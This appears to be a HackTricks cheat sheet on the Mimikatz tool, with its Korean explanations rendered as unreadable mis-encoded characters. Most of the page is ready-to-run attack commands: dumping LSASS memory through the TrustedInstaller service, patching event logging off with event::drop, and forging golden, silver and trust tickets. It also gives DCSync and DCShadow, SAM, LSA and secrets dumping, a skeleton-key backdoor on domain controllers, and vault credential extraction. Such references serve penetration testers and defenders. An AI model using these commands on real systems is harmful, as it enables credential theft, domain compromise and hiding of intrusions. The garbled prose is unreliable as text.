Mimikatz
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ adsecurity.org์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค. ์ถ๊ฐ ์ ๋ณด๋ ์๋ณธ์ ํ์ธํ์ธ์!
๋ฉ๋ชจ๋ฆฌ์ LM ๋ฐ ํ๋ฌธ
Windows 8.1 ๋ฐ Windows Server 2012 R2 ์ดํ๋ก, ์๊ฒฉ ์ฆ๋ช ๋๋์ ๋ฐฉ์งํ๊ธฐ ์ํ ์ค์ํ ์กฐ์น๊ฐ ์ํ๋์์ต๋๋ค:
-
LM ํด์ ๋ฐ ํ๋ฌธ ๋น๋ฐ๋ฒํธ๋ ๋ณด์์ ๊ฐํํ๊ธฐ ์ํด ๋ ์ด์ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅ๋์ง ์์ต๋๋ค. ํน์ ๋ ์ง์คํธ๋ฆฌ ์ค์ ์ธ _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest โUseLogonCredentialโ_์ DWORD ๊ฐ
0์ผ๋ก ๊ตฌ์ฑํ์ฌ Digest Authentication์ ๋นํ์ฑํํด์ผ ํ๋ฉฐ, ์ด๋ฅผ ํตํด โํ๋ฌธโ ๋น๋ฐ๋ฒํธ๊ฐ LSASS์ ์บ์๋์ง ์๋๋ก ํฉ๋๋ค. -
LSA ๋ณดํธ๋ ๋ก์ปฌ ๋ณด์ ๊ถํ(LSA) ํ๋ก์ธ์ค๋ฅผ ๋ฌด๋จ ๋ฉ๋ชจ๋ฆฌ ์ฝ๊ธฐ ๋ฐ ์ฝ๋ ์ฃผ์ ์ผ๋ก๋ถํฐ ๋ณดํธํ๊ธฐ ์ํด ๋์ ๋์์ต๋๋ค. ์ด๋ LSASS๋ฅผ ๋ณดํธ๋ ํ๋ก์ธ์ค๋ก ํ์ํจ์ผ๋ก์จ ์ด๋ฃจ์ด์ง๋๋ค. LSA ๋ณดํธ๋ฅผ ํ์ฑํํ๋ ค๋ฉด:
- _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_์์ ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์์ ํ์ฌ
RunAsPPL์dword:00000001๋ก ์ค์ ํฉ๋๋ค. - ๊ด๋ฆฌ๋๋ ์ฅ์น์์ ์ด ๋ ์ง์คํธ๋ฆฌ ๋ณ๊ฒฝ์ ์ํํ๋ ๊ทธ๋ฃน ์ ์ฑ ๊ฐ์ฒด(GPO)๋ฅผ ๊ตฌํํฉ๋๋ค.
์ด๋ฌํ ๋ณดํธ์๋ ๋ถ๊ตฌํ๊ณ , Mimikatz์ ๊ฐ์ ๋๊ตฌ๋ ํน์ ๋๋ผ์ด๋ฒ๋ฅผ ์ฌ์ฉํ์ฌ LSA ๋ณดํธ๋ฅผ ์ฐํํ ์ ์์ง๋ง, ์ด๋ฌํ ํ๋์ ์ด๋ฒคํธ ๋ก๊ทธ์ ๊ธฐ๋ก๋ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค.
SeDebugPrivilege ์ ๊ฑฐ์ ๋ํ ๋์
๊ด๋ฆฌ์๋ ์ผ๋ฐ์ ์ผ๋ก SeDebugPrivilege๋ฅผ ๊ฐ์ง๊ณ ์์ด ํ๋ก๊ทธ๋จ์ ๋๋ฒ๊น ํ ์ ์์ต๋๋ค. ์ด ๊ถํ์ ๋ฌด๋จ ๋ฉ๋ชจ๋ฆฌ ๋คํ๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด ์ ํ๋ ์ ์์ผ๋ฉฐ, ์ด๋ ๊ณต๊ฒฉ์๊ฐ ๋ฉ๋ชจ๋ฆฌ์์ ์๊ฒฉ ์ฆ๋ช ์ ์ถ์ถํ๋ ๋ฐ ์ฌ์ฉํ๋ ์ผ๋ฐ์ ์ธ ๊ธฐ์ ์ ๋๋ค. ๊ทธ๋ฌ๋ ์ด ๊ถํ์ด ์ ๊ฑฐ๋๋๋ผ๋, TrustedInstaller ๊ณ์ ์ ์ฌ์ฉ์ ์ ์ ์๋น์ค ๊ตฌ์ฑ์ ์ฌ์ฉํ์ฌ ์ฌ์ ํ ๋ฉ๋ชจ๋ฆฌ ๋คํ๋ฅผ ์ํํ ์ ์์ต๋๋ค:
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
์ด๊ฒ์ lsass.exe ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ์ผ๋ก ๋คํํ ์ ์๊ฒ ํ๋ฉฐ, ์ดํ ๋ค๋ฅธ ์์คํ
์์ ๋ถ์ํ์ฌ ์๊ฒฉ ์ฆ๋ช
์ ์ถ์ถํ ์ ์์ต๋๋ค:
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
Mimikatz ์ต์
Mimikatz์์ ์ด๋ฒคํธ ๋ก๊ทธ ๋ณ์กฐ๋ ๋ ๊ฐ์ง ์ฃผ์ ์์ ์ ํฌํจํฉ๋๋ค: ์ด๋ฒคํธ ๋ก๊ทธ ์ง์ฐ๊ธฐ ๋ฐ ์๋ก์ด ์ด๋ฒคํธ ๋ก๊น ์ ๋ฐฉ์งํ๊ธฐ ์ํด ์ด๋ฒคํธ ์๋น์ค๋ฅผ ํจ์นํ๋ ๊ฒ์ ๋๋ค. ์๋๋ ์ด๋ฌํ ์์ ์ ์ํํ๊ธฐ ์ํ ๋ช ๋ น์ด์ ๋๋ค:
์ด๋ฒคํธ ๋ก๊ทธ ์ง์ฐ๊ธฐ
- ๋ช ๋ น์ด: ์ด ์์ ์ ์ด๋ฒคํธ ๋ก๊ทธ๋ฅผ ์ญ์ ํ์ฌ ์ ์์ ์ธ ํ๋์ ์ถ์ ํ๊ธฐ ์ด๋ ต๊ฒ ๋ง๋๋ ๊ฒ์ ๋ชฉํ๋ก ํฉ๋๋ค.
- Mimikatz๋ ๋ช ๋ น์ค์ ํตํด ์ด๋ฒคํธ ๋ก๊ทธ๋ฅผ ์ง์ ์ง์ฐ๊ธฐ ์ํ ์ง์ ์ ์ธ ๋ช ๋ น์ด๋ฅผ ํ์ค ๋ฌธ์์์ ์ ๊ณตํ์ง ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ฒคํธ ๋ก๊ทธ ์กฐ์์ ์ผ๋ฐ์ ์ผ๋ก Mimikatz ์ธ๋ถ์ ์์คํ ๋๊ตฌ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ์ฌ ํน์ ๋ก๊ทธ๋ฅผ ์ง์ฐ๋ ๊ฒ์ ํฌํจํฉ๋๋ค (์: PowerShell ๋๋ Windows Event Viewer ์ฌ์ฉ).
์คํ์ ๊ธฐ๋ฅ: ์ด๋ฒคํธ ์๋น์ค ํจ์น
-
๋ช ๋ น์ด:
event::drop -
์ด ์คํ์ ๋ช ๋ น์ด๋ ์ด๋ฒคํธ ๋ก๊น ์๋น์ค์ ๋์์ ์์ ํ์ฌ ์๋ก์ด ์ด๋ฒคํธ๋ฅผ ๊ธฐ๋กํ์ง ์๋๋ก ์ค๊ณ๋์์ต๋๋ค.
-
์์:
mimikatz "privilege::debug" "event::drop" exit -
privilege::debug๋ช ๋ น์ด๋ Mimikatz๊ฐ ์์คํ ์๋น์ค๋ฅผ ์์ ํ๋ ๋ฐ ํ์ํ ๊ถํ์ผ๋ก ์๋ํ๋๋ก ๋ณด์ฅํฉ๋๋ค. -
๊ทธ ํ
event::drop๋ช ๋ น์ด๊ฐ ์ด๋ฒคํธ ๋ก๊น ์๋น์ค๋ฅผ ํจ์นํฉ๋๋ค.
Kerberos ํฐ์ผ ๊ณต๊ฒฉ
๊ณจ๋ ํฐ์ผ ์์ฑ
๊ณจ๋ ํฐ์ผ์ ๋๋ฉ์ธ ์ ์ฒด ์ ๊ทผ์ ๊ฐ์ฅํ ์ ์๊ฒ ํด์ค๋๋ค. ์ฃผ์ ๋ช ๋ น์ด ๋ฐ ๋งค๊ฐ๋ณ์:
- ๋ช
๋ น์ด:
kerberos::golden - ๋งค๊ฐ๋ณ์:
/domain: ๋๋ฉ์ธ ์ด๋ฆ./sid: ๋๋ฉ์ธ์ ๋ณด์ ์๋ณ์(SID)./user: ๊ฐ์ฅํ ์ฌ์ฉ์ ์ด๋ฆ./krbtgt: ๋๋ฉ์ธ์ KDC ์๋น์ค ๊ณ์ ์ NTLM ํด์./ptt: ํฐ์ผ์ ๋ฉ๋ชจ๋ฆฌ์ ์ง์ ์ฃผ์ ํฉ๋๋ค./ticket: ๋์ค์ ์ฌ์ฉํ ํฐ์ผ์ ์ ์ฅํฉ๋๋ค.
์์:
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
Silver Ticket Creation
Silver Tickets๋ ํน์ ์๋น์ค์ ๋ํ ์ ๊ทผ์ ํ์ฉํฉ๋๋ค. ์ฃผ์ ๋ช ๋ น์ด ๋ฐ ๋งค๊ฐ๋ณ์:
- Command: Golden Ticket๊ณผ ์ ์ฌํ์ง๋ง ํน์ ์๋น์ค๋ฅผ ๋์์ผ๋ก ํฉ๋๋ค.
- Parameters:
/service: ๋์ ์๋น์ค (์: cifs, http).- ๊ธฐํ ๋งค๊ฐ๋ณ์๋ Golden Ticket๊ณผ ์ ์ฌํฉ๋๋ค.
Example:
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
์ ๋ขฐ ํฐ์ผ ์์ฑ
์ ๋ขฐ ํฐ์ผ์ ์ ๋ขฐ ๊ด๊ณ๋ฅผ ํ์ฉํ์ฌ ๋๋ฉ์ธ ๊ฐ ๋ฆฌ์์ค์ ์ ๊ทผํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์ฃผ์ ๋ช ๋ น ๋ฐ ๋งค๊ฐ๋ณ์:
- ๋ช ๋ น: Golden Ticket๊ณผ ์ ์ฌํ์ง๋ง ์ ๋ขฐ ๊ด๊ณ์ ๋ํ ๊ฒ์ ๋๋ค.
- ๋งค๊ฐ๋ณ์:
/target: ๋์ ๋๋ฉ์ธ์ FQDN./rc4: ์ ๋ขฐ ๊ณ์ ์ NTLM ํด์.
์:
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
์ถ๊ฐ Kerberos ๋ช ๋ น์ด
-
ํฐ์ผ ๋์ด:
-
๋ช ๋ น์ด:
kerberos::list -
ํ์ฌ ์ฌ์ฉ์ ์ธ์ ์ ๋ชจ๋ Kerberos ํฐ์ผ์ ๋์ดํฉ๋๋ค.
-
์บ์ ์ ๋ฌ:
-
๋ช ๋ น์ด:
kerberos::ptc -
์บ์ ํ์ผ์์ Kerberos ํฐ์ผ์ ์ฃผ์ ํฉ๋๋ค.
-
์:
mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit -
ํฐ์ผ ์ ๋ฌ:
-
๋ช ๋ น์ด:
kerberos::ptt -
๋ค๋ฅธ ์ธ์ ์์ Kerberos ํฐ์ผ์ ์ฌ์ฉํ ์ ์๊ฒ ํฉ๋๋ค.
-
์:
mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit -
ํฐ์ผ ์ ๋ฆฌ:
-
๋ช ๋ น์ด:
kerberos::purge -
์ธ์ ์ ๋ชจ๋ Kerberos ํฐ์ผ์ ์ง์๋๋ค.
-
์ถฉ๋์ ํผํ๊ธฐ ์ํด ํฐ์ผ ์กฐ์ ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ๊ธฐ ์ ์ ์ ์ฉํฉ๋๋ค.
Active Directory ๋ณ์กฐ
-
DCShadow: AD ๊ฐ์ฒด ์กฐ์์ ์ํด ๊ธฐ๊ณ๋ฅผ DC์ฒ๋ผ ์ผ์์ ์ผ๋ก ์๋ํ๊ฒ ํฉ๋๋ค.
-
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit -
DCSync: DC๋ฅผ ๋ชจ๋ฐฉํ์ฌ ๋น๋ฐ๋ฒํธ ๋ฐ์ดํฐ๋ฅผ ์์ฒญํฉ๋๋ค.
-
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
์๊ฒฉ ์ฆ๋ช ์ ๊ทผ
-
LSADUMP::LSA: LSA์์ ์๊ฒฉ ์ฆ๋ช ์ ์ถ์ถํฉ๋๋ค.
-
mimikatz "lsadump::lsa /inject" exit -
LSADUMP::NetSync: ์ปดํจํฐ ๊ณ์ ์ ๋น๋ฐ๋ฒํธ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ์ฌ DC๋ฅผ ๊ฐ์ฅํฉ๋๋ค.
-
์๋ณธ ๋งฅ๋ฝ์์ NetSync์ ๋ํ ํน์ ๋ช ๋ น์ด๊ฐ ์ ๊ณต๋์ง ์์.
-
LSADUMP::SAM: ๋ก์ปฌ SAM ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ๊ทผํฉ๋๋ค.
-
mimikatz "lsadump::sam" exit -
LSADUMP::Secrets: ๋ ์ง์คํธ๋ฆฌ์ ์ ์ฅ๋ ๋น๋ฐ์ ๋ณตํธํํฉ๋๋ค.
-
mimikatz "lsadump::secrets" exit -
LSADUMP::SetNTLM: ์ฌ์ฉ์์ ๋ํ ์๋ก์ด NTLM ํด์๋ฅผ ์ค์ ํฉ๋๋ค.
-
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit -
LSADUMP::Trust: ์ ๋ขฐ ์ธ์ฆ ์ ๋ณด๋ฅผ ๊ฒ์ํฉ๋๋ค.
-
mimikatz "lsadump::trust" exit
๊ธฐํ
- MISC::Skeleton: DC์ LSASS์ ๋ฐฑ๋์ด๋ฅผ ์ฃผ์ ํฉ๋๋ค.
mimikatz "privilege::debug" "misc::skeleton" exit
๊ถํ ์์น
-
PRIVILEGE::Backup: ๋ฐฑ์ ๊ถํ์ ํ๋ํฉ๋๋ค.
-
mimikatz "privilege::backup" exit -
PRIVILEGE::Debug: ๋๋ฒ๊ทธ ๊ถํ์ ์ป์ต๋๋ค.
-
mimikatz "privilege::debug" exit
์๊ฒฉ ์ฆ๋ช ๋คํ
-
SEKURLSA::LogonPasswords: ๋ก๊ทธ์ธํ ์ฌ์ฉ์์ ์๊ฒฉ ์ฆ๋ช ์ ํ์ํฉ๋๋ค.
-
mimikatz "sekurlsa::logonpasswords" exit -
SEKURLSA::Tickets: ๋ฉ๋ชจ๋ฆฌ์์ Kerberos ํฐ์ผ์ ์ถ์ถํฉ๋๋ค.
-
mimikatz "sekurlsa::tickets /export" exit
SID ๋ฐ ํ ํฐ ์กฐ์
-
SID::add/modify: SID ๋ฐ SIDHistory๋ฅผ ๋ณ๊ฒฝํฉ๋๋ค.
-
์ถ๊ฐ:
mimikatz "sid::add /user:targetUser /sid:newSid" exit -
์์ : ์๋ณธ ๋งฅ๋ฝ์์ ์์ ์ ๋ํ ํน์ ๋ช ๋ น์ด๊ฐ ์ ๊ณต๋์ง ์์.
-
TOKEN::Elevate: ํ ํฐ์ ๊ฐ์ฅํฉ๋๋ค.
-
mimikatz "token::elevate /domainadmin" exit
ํฐ๋ฏธ๋ ์๋น์ค
-
TS::MultiRDP: ์ฌ๋ฌ RDP ์ธ์ ์ ํ์ฉํฉ๋๋ค.
-
mimikatz "ts::multirdp" exit -
TS::Sessions: TS/RDP ์ธ์ ์ ๋์ดํฉ๋๋ค.
-
์๋ณธ ๋งฅ๋ฝ์์ TS::Sessions์ ๋ํ ํน์ ๋ช ๋ น์ด๊ฐ ์ ๊ณต๋์ง ์์.
๊ธ๊ณ
- Windows ๊ธ๊ณ ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ถํฉ๋๋ค.
mimikatz "vault::cred /patch" exit
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


